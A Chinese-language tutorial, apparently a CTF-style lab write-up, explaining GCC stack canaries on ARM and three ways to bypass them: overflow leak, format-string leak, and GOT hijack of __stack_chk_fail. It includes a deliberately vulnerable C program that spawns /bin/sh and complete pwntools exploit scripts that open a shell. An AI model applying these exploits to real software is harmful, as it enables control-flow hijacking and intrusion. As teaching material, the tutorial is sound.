介绍
Canary是针对栈溢出攻击的一种防护手段。栈溢出是通过覆盖存在栈上的局部变量,覆盖篡改基址指针寄存器或者程序计数器,从而劫持程序控制流。
启动栈保护之后,函数会在执行前在栈底插入一个随机生成的cookie(即canary), 在函数真正返回时之前,程序会先测试cookie信息合法化,即在栈帧销毁之前检查这个cookie值是否已经被篡改,如果发现值不合法,程序立即终止执行。
在这种机制下,攻击者就会在覆盖返回地址时使用正确的cookie信息进行覆盖,否则会导致栈保护检查失败从而阻止shellcode执行的情况,防止漏洞利用成功。
canary的实现
在使用 GCC 编译时,通过如下编译参数即可启用栈保护(canary)机制。
-fstack-protector 启用保护,为局部变量中含有数组的函数插入保护
-fstack-protector-all 启用保护,为所有函数插入保护
-fstack-protector-strong 启用保护,保护含有数组的函数,还保护局部变量影响控制流的函数
-fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护
-fno-stack-protector 禁用保护
实现原理
stack结构如下图所示。局部变量buf[64]
位于canary之下。如果发生栈溢出,超过buf的边界就会先覆盖canary,之后触及保存的帧指针和返回地址。
高地址
+---------------------------+
| 调用 printf 保存的寄存器 |
+---------------------------+
| 返回地址(to main 或 caller)|
+---------------------------+ <- 栈帧顶部
| saved fp / bp | <- 4 字节 (32-bit)
+---------------------------+
| Canary (stack protector) | <- 4 字节
+---------------------------+
| buf[64] 局部变量 | <- 64 字节
+---------------------------+
低地址
下面示例是用的arm-linux-gnueabi-gcc
编译的ARM架构程序leak_canary的源代码。
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
对应的编译命令如下:
arm-linux-gnueabi-gcc leak_canary.c -no-pie -mbe32 -fstack-protector -z noexecstack -o leak_canary
与x86架构通过fs寄存器存储canary不同,ARM用的是全局变量__stack_chk_guard
来存储canary。如下图所示,程序在建立帧指针并为局部变量分配栈空间后,会从__stack_chk_guard
中读取 canary 值,并暂存于 R3 寄存器中以便后续使用。
在函数返回之前,程序将全局变量__stack_chk_guard
的值取出,并与之前存放在原来的R3寄存器中的原始的canary的值进行异或操作。
根据汇编显示BEQ loc_106E8
指令异或运行的结果为0,说明canary未被修改,函数会正常返回。如果被非法修改,程序的流程会到BL __stack_chk_fai
指令所示调用__stack_chk_fai
函数。该函数是位于glibc中的函数,默认情况下会经过ELF的延迟绑定。
上面的操作就是检测是否发生栈溢出的canary机制。
绕过思路
根据上面canary实现原理特性,将绕过思路分为两个部分。
第一,泄漏并利用canary值:通过格式化字符串漏洞获得栈上canary值,并在后续溢出中正确填入,从而通过canary校验,使函数正常返回实现绕过。
第二,劫持stack_chk_fail函数:当canary校验失败后,程序进入的__stack_chk_fail
函数的经过ELF延迟绑定,可以利用格式化字符串漏洞通过修改GOT表中的劫持__stack_chk_fail
的地址值,指向自定义的函数地址(如getshell函数),从而触发栈保护失败时劫持程序控制流,实现漏洞利用。
利用canary值绕过
首先讨论第一种方法:泄漏并利用canary值。
利用格式化字符串漏洞获得canary值通过校验。在构造溢出payload时,在覆盖返回地址之前,将泄漏出的原始canary值填入栈中,这样,函数在返回时进行canary值校验,由于值没有被修改,不会触发__stack_chk_fail
,从而实现对栈保护的绕过。
关键点
利用canary值绕过栈保护时,需要计算三个关键数值
- buf1:从栈顶溢出到canary所在地址的字节长度,即缓冲区填充长度。
- canary:通过漏洞获得的栈 canary 原始值。
- buf2:从 canary 地址到返回地址的字节长度。
构造 payload 的方式如下:
payload = b'a'*buf1 + p32(canary) + b'b'*buf2 + p32(ret_address)
其中,p32(canary) 用于在覆盖返回地址之前填入正确的 canary 值,从而通过栈保护检查。
缓冲区溢出泄漏canary
通过格式化字符串漏洞可以泄漏栈上的canary值,在构造溢出的payload时,将泄漏出的原始canary值填入覆盖返回地址之前的对应位置。
这样,函数返回校验canary值时,不会触发__stack_chk_fail
。利用这一方法,可以在绕过栈保护的前提下,让函数正常退出,从而实现栈溢出攻击。
根据上面gcc实现canary的参数编译后,使用checksec查看栈保护机制信息。
按照关键点的顺序,首先需要计算从栈顶溢出到canary的缓冲区长度buf的值。通过IDA反汇编可以观察到,var_8
保存的就是canary的值,即从缓冲区起始位置到var_8
的值就是buf1
。根据栈布局计算得0x6c-0x8=0x64
,即 buf 的长度为 0x64 字节。
结合前面对 canary 机制的分析,要实现绕过,还需要将栈上的 canary 值泄漏出来。需要注意的是,canary 在每次程序运行时都会被随机化,因此不能事先固定写死,而必须在运行过程中动态获取。已知缓冲区的有效溢出长度为0x64
字节,利用这一点,可以精确覆盖到保存 canary 的位置,从而读取并输出该地址中的随机数值,实现对 canary 的泄漏。利用如下脚本。
from pwn import *
context.arch="arm"
context.log_level = "debug"
#sh = process(["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName])
sh = process(["qemu-arm","-L", "/usr/arm-linux-gnueabi", fileName])
elf = ELF(fileName)
sh.recvuntil("Hello Hacker!\n")
pause()
sh.send("a" * 0x64 + 'b')
sh.recvuntil('a'*0x64)
canary = u32(sh.recv(4)) - 0x62
info("Canary: "+hex(canary))
根据下面两张指令截图可以看出,程序运行时生成的 canary 值为 0x39bfe700
。在运行脚本后成功泄漏出相同的数值,测试成功。
最后,通过计算栈上canary
与程序中"/bin/sh"
字符串所在位置的偏移关系。利用cyclic
工具测试缓冲区溢出长度,结果得到偏移值为 4。结合程序中已知的getshell
函数地址0x000105f4
,即可完成最终的利用。
最后整合脚本进行测试。
from pwn import *
context.arch="arm"
context.log_level = "debug"
fileName = "./leak_canary"
#sh = process(["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName])
sh = process(["qemu-arm","-L", "/usr/arm-linux-gnueabi", fileName])
sh.recvuntil("Hello Hacker!\n")
pause()
sh.send("a" * 0x64 + 'b')
sh.recvuntil('a'*0x64)
canary = u32(sh.recv(4)) - 0x62
info("Canary: "+hex(canary))
# 第二次溢出
getshell = 0x000105F4
payload_2 = b'a' * (0x64) + p32(canary) + b'a'*(0x4) + p32(getshell)
sh.send(payload_2)
sh.recv()
sh.interactive()
利用成功。
格式化字符串漏洞获取Canary
在同一个程序中,尝试利用格式化字符串漏洞来获取 canary。构造形如aaaa + %x*n
的 payload(便于观察,将 "%x" 改为 "%x-" ),然后查看程序输出的内容,直到输出中出现 aaaa 的 ASCII 值,此时对应的就是第 6 个%x
,即栈中的第 6 个位置。
由于printf
每打印一个%x
会输出4个字节,上面已知栈顶到canary的距离是0x64
字节,因此计算得到canary值是位于间隔的第25个%x
。
构造的脚本如下所示,
第一次溢出通过%x-
格式化字符串打印栈上的值,从而泄漏 canary。
第二次溢出在覆盖返回地址之前,将泄漏出的 canary 值正确填入栈中,从而绕过栈保护并调用getshell
。
from pwn import *
context.arch="arm"
context.log_level = "debug"
fileName = "./leak_canary"
#sh = process(["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName])
sh = process(["qemu-arm","-L", "/usr/arm-linux-gnueabi", fileName])
sh.recvuntil("Hello Hacker!\n")
pause()
#第一次溢出
payload_1 = b'%x-' * ( 6 + 25)
sh.send(payload_1)
recvbytes = sh.recv()
canary = int(recvbytes.split(b'-')[-2], 16)
info("Canary: "+hex(canary))
# 第二次溢出
getshell = 0x000105F4
payload_2 = b'a' * (0x64) + p32(canary) + b'a'*(0x4) + p32(getshell)
sh.send(payload_2)
sh.recv()
sh.interactive()
利用成功
利用__stack_chk_fail函数
上面讲到的,当canary校验失败之后,程序会调用__stack_chk_fail
函数,默认情况下该函数会经过ELF的延迟绑定。绕过思路即在栈溢出之前,通过修改GOT表劫持__stack_chk_fail
的函数指针,从而控制程序流程,之后再构造栈溢出调用__stack_chk_fail
,实际上就实现执行自定义的后门函数。
关键点
利用劫持`__stack_chk_fail函数时,需要计算两个个关键数值
- 劫持GOT 表的
__stack_chk_fail
如下代码所示进行测试函数存在。
readelf -r ./overflow_canary.o | grep stack_chk_fail
objdump -R ./overflow_canary.o | grep stack_chk_fail
- 控制 payload 填充
payload 是格式化字符串,用于修改 GOT。
payload 是栈溢出的填充:b'a'*0x64 + b'a'*0x4
- 0x64 填充到 canary 位置
- 0x4 填充到返回地址之前的占位
如下图所示,测试得61616161
是第6个位置,即offset取6。
劫持__stack_chk_fail
利用格式化字符串漏洞,测试canary位置。
构造的payload
payload = fmtstr_payload(6, {stack_chk_fail_got: getshell})
还要造成一次溢出来触发__stack_chk_fail
payload =b'a' * 0x64 + b'a'*0x4
from pwn import *
context.arch="arm"
context.log_level = "debug"
fileName='./leak_canary'
#cmd= ["qemu-arm","-g","1234","-L", "/usr/arm-linux-gnueabi", fileName]
p = process(["qemu-arm","-L", "/usr/arm-linux-gnueabi", fileName])
#p = process("./leak_canary")
elf=ELF(fileName)
# 获取 __stack_chk_fail 在 GOT 表中的地址
stack_chk_fail_got = elf.got['__stack_chk_fail']
getshell=0x000105F4
#1. 修改GOT表
payload_fmt = fmtstr_payload(6, {stack_chk_fail_got: getshell})
p.recvuntil("Hello Hacker!\n")
p.sendline(payload_fmt)
#2.触发栈溢出
payload =b'a' * 0x64 + b'a'*0x4
p.sendline(payload)
p.interactive()
利用成功。